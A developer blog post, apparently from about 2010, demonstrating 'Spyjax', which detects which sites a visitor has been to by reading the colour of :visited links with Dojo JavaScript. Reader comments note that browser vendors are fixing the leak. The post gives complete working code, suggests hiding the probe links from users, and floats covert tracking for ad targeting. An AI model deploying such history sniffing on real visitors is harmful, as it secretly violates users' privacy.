Spyjax: Ajax For Evil Using Dojo

By  on  

The idea of Spyjax is nothing new. In pasts posts I've covered how you can spy on your user's history with both MooTools and jQuery. Today we'll cover how to check user history using the Dojo Toolkit.

The HTML

<ul>
<li><a href="https://davidwalsh.name" class="checkme">David Walsh Blog</a></li>
<li><a href="http://css-tricks.com" class="checkme">CSS Tricks</a></li>
<li><a href="http://snook.ca" class="checkme">Snook</a></li>
<li><a href="http://cnn.com" class="checkme">CNN</a></li>
<li><a href="http://digg.com" class="checkme">Digg</a></li>
<li><a href="http://flickr.com" class="checkme">Flickr</a></li>
<li><a href="http://php.net" class="checkme">PHP.Net</a></li>
<li><a href="http://reddit.com" class="checkme">Reddit</a></li>
<li><a href="http://yahoo.com" class="checkme">Yahoo!</a></li>
<li><a href="http://google.com" class="checkme">Google!</a></li>
<li><a href="http://msn.com" class="checkme">MSN</a></li>
<li><a href="http://gmail.com" class="checkme">Gmail</a></li>
<li><a href="http://ajaxian.com" class="checkme">Ajaxian</a></li>
<li><a href="http://imdb.com" class="checkme">IMDB</a></li>
<li><a href="http://mootools.net" class="checkme">MooTools</a></li>
<li><a href="http://jquery.com" class="checkme">jQuery</a></li>
<li><a href="http://wordpress.org" class="checkme">Wordpress</a></li>
<li><a href="http://dlisted.com" class="checkme">DListed</a></li>
<li><a href="http://foxnews.com" class="checkme">Fox News</a></li>
<li><a href="http://dzone.com" class="checkme">DZone</a></li>
<li><a href="http://nettuts.com" class="checkme">NetTuts</a></li>
<li><a href="http://youtube.com" class="checkme">YouTube</a></li>
<li><a href="http://diggnation.com" class="checkme">Diggnation</a></li>
<li><a href="http://collegehumor.com" class="checkme">College Humor</a></li>
<li><a href="http://facebook.com" class="checkme">Facebook</a></li>
<li><a href="http://myspace.com" class="checkme">MySpace</a></li>	
</ul>

For the sake of this demo I've created a list of links. A very clever developer would inject links into the page with a "display:none;" declaration so the user didn't know they were there.

The CSS

a.checkme			{ color:#00ff00; }
a.checkme:visited	{ color:#ff0000; }
.highlight			{ background:#fffea1; }

The crucial idea behind the CSS above is that the :visited link has a different color than the initial state -- that's how we know a link has been visited.

The Dojo JavaScript

(function(d,$,$$) {
	d.ready(function() {
		d.connect($('tell-me'),'onclick',function() {
			var sitesFound = 0;
			$$('a.checkme').forEach(function(node) {
				var color = d.style(node,'color');
				if(color == '#ff0000' || color == 'rgb(255, 0, 0)') {
					d.addClass(node,'highlight');
					sitesFound++;
				}
			});
			//output stuff
			if(sitesFound) {
				alert('I know ' + sitesFound + ' websites you\'ve been to.  This is where I save your information via an AJAX call to a PHP script.');
			}
			else {
				alert('Darn, couldn\'t find any!');
			}
		});
	});			
})(dojo,dojo.byId,dojo.query);

Much like the previous MooTools and Dojo posts, we start out by grabbing every link we want to check and analyze the link's color. If the color matches the visited state's color, we've found a site the user has been to. Sadly enough, it's really that easy.

So how is this relevant? Imagine you know that the user has been to the Apple Store (http://store.apple.com). You could target your website's ads toward iPods, iPads, etc. That's a fairly simple example. You could simply spy on users for your own sake. What are your thoughts on this practice?

Recent Features

  • By
    Create a CSS Cube

    CSS cubes really showcase what CSS has become over the years, evolving from simple color and dimension directives to a language capable of creating deep, creative visuals.  Add animation and you've got something really neat.  Unfortunately each CSS cube tutorial I've read is a bit...

  • By
    9 Mind-Blowing WebGL Demos

    As much as developers now loathe Flash, we're still playing a bit of catch up to natively duplicate the animation capabilities that Adobe's old technology provided us.  Of course we have canvas, an awesome technology, one which I highlighted 9 mind-blowing demos.  Another technology available...

Incredible Demos

  • By
    LightFace:  Facebook Lightbox for MooTools

    One of the web components I've always loved has been Facebook's modal dialog.  This "lightbox" isn't like others:  no dark overlay, no obnoxious animating to size, and it doesn't try to do "too much."  With Facebook's dialog in mind, I've created LightFace:  a Facebook lightbox...

  • By
    Hot Effect: MooTools Drag Opacity

    As you should already know, the best visual features of a website are usually held within the most subtle of details. One simple trick that usually makes a big different is the use of opacity and fading. Another awesome MooTools functionality is...

Discussion

  1. Will

    It’s probably worth having a link to last month’s announcement by Mozilla over this flaw:

    http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/

  2. Does this only work if you have clicked on a link to the particular site from another site? I visit php.net several times a day and flickr many times but neither show as visited.

    Also your second Demo button underneath the code is a broken link :)

  3. Note that browser vendors (at least at Mozilla) are currently implementing fixes for this security leak. This method will stop working soon in modern browsers.

  4. Adam Radabaugh

    @Christoph Pojer: How would they fix this? Disallow JS to read the color of visited nodes? That would break standards. Not allow :visited links to be styled if they violate the same-domain origin policy? Still seems very non-standards compliant. I am curious to know.

  5. Thanks for the links guys! I hadn’t seen this.

  6. http://www.unsanitized.net/linkstatus/?lang=en

    I use the following plugin-in for Firefox which denies hacks like these. Pretty handy as well because I can also see when I last visited said link.

  7. Great post. I was making a research about similar methods just for the fun of it. With such methods there are endless possibilities to push related content to user.

  8. hamburger

    thats great fun with dojo

    i like your site

  9. @bukmacher: It’s a custom template for this site. If you look in the source, it’s called “walshbook3”

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!